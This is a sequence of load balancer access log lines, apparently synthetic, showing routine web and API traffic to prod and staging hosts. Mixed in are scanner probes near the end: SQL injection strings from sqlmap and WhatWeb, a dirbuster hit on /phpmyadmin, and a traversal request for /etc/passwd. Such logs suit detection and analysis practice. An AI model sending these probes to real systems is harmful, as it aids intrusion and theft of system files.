0.037382 200 200 467 8756 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd10-28d76c7a3b334b978c6fcf30" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:28.252395Z "forward" "-" "-" "10.0.80.5:443" "200" "-" "-" -https 2024-11-01T00:23:30.197249Z prod-api-alb 204.25.194.195:26355 10.0.127.254:443 0.075024 0.470237 0.069333 200 200 475 5994 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd12-b4885c687ce94d85a0a1c027" "prod-api-alb.example.com" "-" 1 2024-11-01T00:23:30.197249Z "forward" "-" "-" "10.0.127.254:443" "200" "-" "-" -https 2024-11-01T00:23:32.086208Z prod-api-alb 36.176.63.109:55950 10.0.11.6:443 0.050002 0.077255 0.053570 200 200 330 11210 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd14-b5b0d4a5a3c8456fb5d3f530" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:32.086208Z "forward" "-" "-" "10.0.11.6:443" "200" "-" "-" -http 2024-11-01T00:23:33.236648Z staging-alb 193.202.130.78:49725 250.220.158.214:443 0.050380 0.300099 0.000956 200 200 259 8433 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd15-8ea6ccc662cc48809db1f72d" "staging-alb.example.com" "-" 2 2024-11-01T00:23:33.236648Z "forward" "-" "-" "250.220.158.214:443" "200" "-" "-" -https 2024-11-01T00:23:33.598321Z prod-api-alb 184.182.188.231:43788 10.0.88.213:443 0.018138 0.489593 0.088285 301 301 880 11367 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd15-6b0cfb9c8346489c97a1ddd7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:23:33.598321Z "forward" "-" "-" "10.0.88.213:443" "301" "-" "-" -http 2024-11-01T00:23:34.525827Z staging-alb 28.248.32.209:64706 110.76.233.88:80 0.006260 0.524742 0.134433 302 302 326 3368 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd16-151a01642fee4fd6847be119" "staging-alb.example.com" "-" 7 2024-11-01T00:23:34.525827Z "forward" "-" "-" "110.76.233.88:80" "302" "-" "-" -https 2024-11-01T00:23:35.685056Z prod-api-alb 109.34.77.232:57242 10.0.45.186:443 0.021529 0.339177 0.030788 301 301 641 2708 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd17-008b91f290fe444b84f0e529" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:35.685056Z "forward" "-" "-" "10.0.45.186:443" "301" "-" "-" -https 2024-11-01T00:23:37.192749Z prod-web-alb 194.93.33.171:21111 10.0.241.65:443 0.027307 0.013136 0.067015 301 301 764 13072 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd19-02c3f7f72779462ebf348b5c" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:37.192749Z "forward" "-" "-" "10.0.241.65:443" "301" "-" "-" -https 2024-11-01T00:23:38.045839Z prod-api-alb 93.228.239.154:43328 10.0.85.61:443 0.091618 0.286329 0.077853 200 200 762 9719 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd1a-7c8efa2ca16149f48e9752cc" "prod-api-alb.example.com" "-" 3 2024-11-01T00:23:38.045839Z "forward" "-" "-" "10.0.85.61:443" "200" "-" "-" -https 2024-11-01T00:23:39.052450Z prod-web-alb 138.12.207.86:39278 10.0.13.107:443 0.079331 0.351540 0.083704 200 200 163 12298 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd1b-0e150f246e3846daab0a6c03" "prod-web-alb.example.com" "-" 9 2024-11-01T00:23:39.052450Z "forward" "-" "-" "10.0.13.107:443" "200" "-" "-" -http 2024-11-01T00:23:40.940355Z staging-alb 181.130.142.112:39631 48.162.121.153:80 0.112591 0.407418 0.035623 200 200 572 2691 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd1c-b9a9bc3622194b27b2d58c49" "staging-alb.example.com" "-" 8 2024-11-01T00:23:40.940355Z "forward" "-" "-" "48.162.121.153:80" "200" "-" "-" -https 2024-11-01T00:23:42.909960Z prod-api-alb 220.58.184.228:27319 10.0.154.152:443 0.079303 0.406128 0.001981 200 200 489 12418 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd1e-ded47104ac4640b3b94ba986" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:42.909960Z "forward" "-" "-" "10.0.154.152:443" "200" "-" "-" -https 2024-11-01T00:23:44.668183Z prod-web-alb 230.193.58.218:29029 10.0.142.16:443 0.063267 0.278573 0.095150 200 200 422 9830 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd20-5dbd216f96f5472cb057444b" "prod-web-alb.example.com" "-" 6 2024-11-01T00:23:44.668183Z "forward" "-" "-" "10.0.142.16:443" "200" "-" "-" -https 2024-11-01T00:23:46.331661Z prod-api-alb 192.247.84.7:47191 10.0.122.182:443 0.064231 0.026847 0.079835 200 200 492 976 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd22-ecbdfe1c62cc4ad3bff5ef0a" "prod-api-alb.example.com" "-" 8 2024-11-01T00:23:46.331661Z "forward" "-" "-" "10.0.122.182:443" "200" "-" "-" -http 2024-11-01T00:23:47.425987Z staging-alb 179.214.229.154:28006 31.196.59.131:8080 0.089417 0.310213 0.075961 404 404 792 14382 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd23-53f3ab556b3545c8b005a573" "staging-alb.example.com" "-" 7 2024-11-01T00:23:47.425987Z "forward" "-" "-" "31.196.59.131:8080" "404" "-" "-" -https 2024-11-01T00:23:48.475795Z staging-alb 254.120.36.92:40436 70.142.162.9:8080 0.113531 0.286706 0.098802 404 404 755 11168 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd24-a96957dae85344a78bf7121b" "staging-alb.example.com" "-" 4 2024-11-01T00:23:48.475795Z "forward" "-" "-" "70.142.162.9:8080" "404" "-" "-" -https 2024-11-01T00:23:49.430658Z staging-alb 69.126.112.239:14944 13.67.74.239:443 0.084873 0.474203 0.066265 404 404 270 4717 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd25-ba61e6a739c2403a8dc8a236" "staging-alb.example.com" "-" 9 2024-11-01T00:23:49.430658Z "forward" "-" "-" "13.67.74.239:443" "404" "-" "-" -https 2024-11-01T00:23:51.236183Z prod-api-alb 78.187.11.25:45712 10.0.163.89:443 0.020887 0.194524 0.091033 200 200 913 3091 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd27-f2d44edfa7cf449cba3e2e5d" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:51.236183Z "forward" "-" "-" "10.0.163.89:443" "200" "-" "-" -https 2024-11-01T00:23:53.219040Z prod-web-alb 204.153.137.189:34143 10.0.211.109:443 0.069572 0.040968 0.080535 200 200 235 1723 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd29-7858199af6a84d68907a1ed4" "prod-web-alb.example.com" "-" 3 2024-11-01T00:23:53.219040Z "forward" "-" "-" "10.0.211.109:443" "200" "-" "-" -https 2024-11-01T00:23:55.062323Z prod-api-alb 41.118.75.184:13703 10.0.160.112:443 0.057108 0.369410 0.027422 200 200 101 14739 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd2b-cf8da8aaf5c6464493ea7d39" "prod-api-alb.example.com" "-" 2 2024-11-01T00:23:55.062323Z "forward" "-" "-" "10.0.160.112:443" "200" "-" "-" -https 2024-11-01T00:23:55.505534Z prod-api-alb 25.99.83.129:47564 10.0.84.3:443 0.040613 0.030193 0.059964 200 200 559 7551 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd2b-73eea988119f4c068c54b926" "prod-api-alb.example.com" "-" 6 2024-11-01T00:23:55.505534Z "forward" "-" "-" "10.0.84.3:443" "200" "-" "-" -http 2024-11-01T00:23:56.214328Z staging-alb 28.102.230.171:51653 240.179.76.196:443 0.040613 0.287407 0.082999 200 200 11 13169 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd2c-70cf3a47ce9848f6b8a47630" "staging-alb.example.com" "-" 6 2024-11-01T00:23:56.214328Z "forward" "-" "-" "240.179.76.196:443" "200" "-" "-" -https 2024-11-01T00:23:56.747643Z prod-web-alb 103.65.119.61:21768 10.0.39.139:443 0.054247 0.379331 0.020824 301 301 24 3356 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd2c-8d6846dcdb8145a1aae24d52" "prod-web-alb.example.com" "-" 7 2024-11-01T00:23:56.747643Z "forward" "-" "-" "10.0.39.139:443" "301" "-" "-" -https 2024-11-01T00:23:57.535093Z prod-web-alb 123.194.35.222:21001 10.0.6.201:443 0.064811 0.264512 0.039502 200 200 545 9176 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd2d-025d21a1d4d04163b462b56b" "prod-web-alb.example.com" "-" 2 2024-11-01T00:23:57.535093Z "forward" "-" "-" "10.0.6.201:443" "200" "-" "-" -https 2024-11-01T00:23:58.844000Z prod-web-alb 198.157.101.103:14410 10.0.204.121:443 0.060189 0.350265 0.099254 301 301 99 13774 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd2e-dc133716b8e44b5580a6dc0e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:23:58.844000Z "forward" "-" "-" "10.0.204.121:443" "301" "-" "-" -https 2024-11-01T00:23:59.472431Z prod-web-alb 150.26.210.197:10348 10.0.148.252:443 0.009801 0.118362 0.069581 404 404 223 11487 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd2f-036315eb4f594eae938ef257" "prod-web-alb.example.com" "-" 2 2024-11-01T00:23:59.472431Z "forward" "-" "-" "10.0.148.252:443" "404" "-" "-" -https 2024-11-01T00:24:01.343922Z prod-api-alb 185.181.39.39:31676 10.0.76.20:443 0.030514 0.259105 0.077695 200 200 3 10940 "GET /search?q=1' UNION SELECT HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd31-0f3648fbd75a4c6787daf450" "-" "-" 0 2024-11-01T00:24:01.343922Z "forward" "-" "-" "10.0.76.20:443" "200" "-" "-" -http 2024-11-01T00:24:02.885399Z staging-alb 185.181.73.18:60787 110.32.208.186:443 0.055860 0.379101 0.144636 302 302 818 2975 "POST /phpmyadmin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd32-c5a82330602341dfaac23b99" "-" "-" 2 2024-11-01T00:24:02.885399Z "forward" "-" "-" "110.32.208.186:443" "302" "-" "-" -https 2024-11-01T00:24:04.707225Z prod-web-alb 180.25.4.110:44082 10.0.196.106:443 0.047067 0.412270 0.025066 200 200 992 2060 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd34-6ef7742181ed4edc99a46bee" "prod-web-alb.example.com" "-" 7 2024-11-01T00:24:04.707225Z "forward" "-" "-" "10.0.196.106:443" "200" "-" "-" -https 2024-11-01T00:24:06.190185Z prod-api-alb 217.12.15.196:23521 10.0.82.232:443 0.073146 0.157984 0.015774 301 301 289 288 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd36-1bf802a11f014adb952db6b1" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:06.190185Z "forward" "-" "-" "10.0.82.232:443" "301" "-" "-" -https 2024-11-01T00:24:07.785087Z prod-web-alb 185.181.118.169:18172 10.0.138.220:443 0.072605 0.385797 0.068714 403 403 691 2309 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd37-794d5eb99b4b48a09ca8db33" "-" "-" 6 2024-11-01T00:24:07.785087Z "forward" "-" "-" "10.0.138.220:443" "403" "-" "-" -http 2024-11-01T00:24:09.738289Z staging-alb 123.233.104.168:15159 167.159.57.183:80 0.019312 0.293802 0.138739 200 200 528 7357 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd39-c957fcfb39bd42e389c5ca16" "staging-alb.example.com" "-" 4 2024-11-01T00:24:09.738289Z "forward" "-" "-" "167.159.57.183:80" "200" "-" "-" -http 2024-11-01T00:24:10.660229Z staging-alb 107.144.134.216:14003 211.183.104.161:443 0.067329 0.491756 0.063650 200 200 963 9412 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd3a-e318be220062477ab267820d" "staging-alb.example.com" "-" 5 2024-11-01T00:24:10.660229Z "forward" "-" "-" "211.183.104.161:443" "200" "-" "-" -https 2024-11-01T00:24:12.496327Z prod-web-alb 242.222.142.68:56774 10.0.205.207:443 0.009343 0.277393 0.034759 200 200 477 13783 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd3c-9e715b0a0d8b489b91ad2029" "prod-web-alb.example.com" "-" 1 2024-11-01T00:24:12.496327Z "forward" "-" "-" "10.0.205.207:443" "200" "-" "-" -https 2024-11-01T00:24:13.291588Z prod-web-alb 207.97.193.205:36869 10.0.126.97:443 0.096294 0.231298 0.027195 302 302 954 13358 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd3d-46783b3732fc410387e6ced9" "prod-web-alb.example.com" "-" 6 2024-11-01T00:24:13.291588Z "forward" "-" "-" "10.0.126.97:443" "302" "-" "-" -https 2024-11-01T00:24:14.335889Z prod-api-alb 237.148.77.164:21400 10.0.35.198:443 0.029784 0.097283 0.020843 200 200 838 306 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd3e-98ac213e5f064e5bb775bfc4" "prod-api-alb.example.com" "-" 5 2024-11-01T00:24:14.335889Z "forward" "-" "-" "10.0.35.198:443" "200" "-" "-" -https 2024-11-01T00:24:15.525590Z staging-alb 242.219.89.76:28629 105.253.169.44:8080 0.102371 0.044740 0.067415 404 404 439 8600 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd3f-3dc82ef950104165bd2b9435" "staging-alb.example.com" "-" 2 2024-11-01T00:24:15.525590Z "forward" "-" "-" "105.253.169.44:8080" "404" "-" "-" -https 2024-11-01T00:24:15.713404Z prod-api-alb 12.229.249.208:45390 10.0.203.210:443 0.026202 0.237949 0.088621 200 200 147 645 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd3f-dabfce2264c74e6cacf59730" "prod-api-alb.example.com" "-" 8 2024-11-01T00:24:15.713404Z "forward" "-" "-" "10.0.203.210:443" "200" "-" "-" -http 2024-11-01T00:24:17.329338Z staging-alb 136.42.191.240:51057 115.47.73.38:443 0.099157 0.606956 0.035682 200 200 201 13978 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd41-61a3721dc02f4053bfff1252" "staging-alb.example.com" "-" 7 2024-11-01T00:24:17.329338Z "forward" "-" "-" "115.47.73.38:443" "200" "-" "-" -https 2024-11-01T00:24:19.051573Z prod-api-alb 45.108.229.141:14874 10.0.84.230:443 0.009804 0.377658 0.018299 301 301 69 4429 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bd43-af50366fe7d3491c92af4bf3" "prod-api-alb.example.com" "-" 3 2024-11-01T00:24:19.051573Z "forward" "-" "-" "10.0.84.230:443" "301" "-" "-" -https 2024-11-01T00:24:20.513017Z prod-web-alb 21.47.107.139:11230 10.0.186.110:443 0.041075 0.050687 0.026551 302 302 33 4190 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd44-de7922f72ace45dfbe186fa4" "prod-web-alb.example.com" "-" 2 2024-11-01T00:24:20.513017Z "forward" "-" "-" "10.0.186.110:443" "302" "-" "-" -https 2024-11-01T00:24:21.731761Z prod-api-alb 0.22.201.136:57345 10.0.192.234:443 0.067942 0.463450 0.080301 301 301 52 5780 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bd45-935ffcbe03a94be9844334ce" "prod-api-alb.example.com" "-" 1 2024-11-01T00:24:21.731761Z "forward" "-" "-" "10.0.192.234:443" "301" "-" "-" -https 2024-11-01T00:24:21.932075Z prod-web-alb 157.66.53.129:41628 10.0.152.2:443 0.043665 0.100059 0.089267 200 200 51 12686 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd45-fc9e5c88645842e39035c8c5" "prod-web-alb.example.com" "-" 4 2024-11-01T00:24:21.932075Z "forward" "-" "-" "10.0.152.2:443" "200" "-" "-" -https 2024-11-01T00:24:22.830414Z prod-web-alb 80.245.232.106:22220 10.0.196.114:443 0.044154 0.452325 0.058136 302 302 497 758 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bd46-e64eda6eab284dd7be0758e6" "prod-web-alb.example.com" "-" 4 2024-11-01T00:24:22.830414Z "forward" "-" "-" "10.0.196.114:443" "302" "-" "-" -https 2024-11-01T00:24:23.077551Z prod-web-alb 129.132.192.123:39193 10.0.203.98:443 0.071428 0.391849 0.068322 302 302 463 11748 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bd47-b87cdf82445d47b1898ad2a8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:24:23.077551Z "forward" "-" "-" "10.0.203.98:443" "302" "-" "-" -https 2024-11-01T00:24:24.305650Z staging-alb 189.216.136.71:25965 4.12.179.248:80 0.129525 0.230529 0.119180 404 404 429 4619 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bd48-6cd2d772bdf249eba1ac82fd" "staging-alb.example.com" "-" 10 2024-11-01T00:24:24.305650Z "forward" "-" "-" "4.12.179.248:80" "404" "-" "-" -https 2024-11-01T00:24:25.569822Z staging-alb 193.27.228.181:35452 92.109.126.122:8080 0.117797 0.542136 0.116303 403 403 412 13401 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bd49-a7984599e41f4322bfd4dfa8" "-" "-" 6 2024-11-01T00:24:25.569822Z "forward" "-" "-" "92.109.126.122:8080" "403" "-" "-" -https 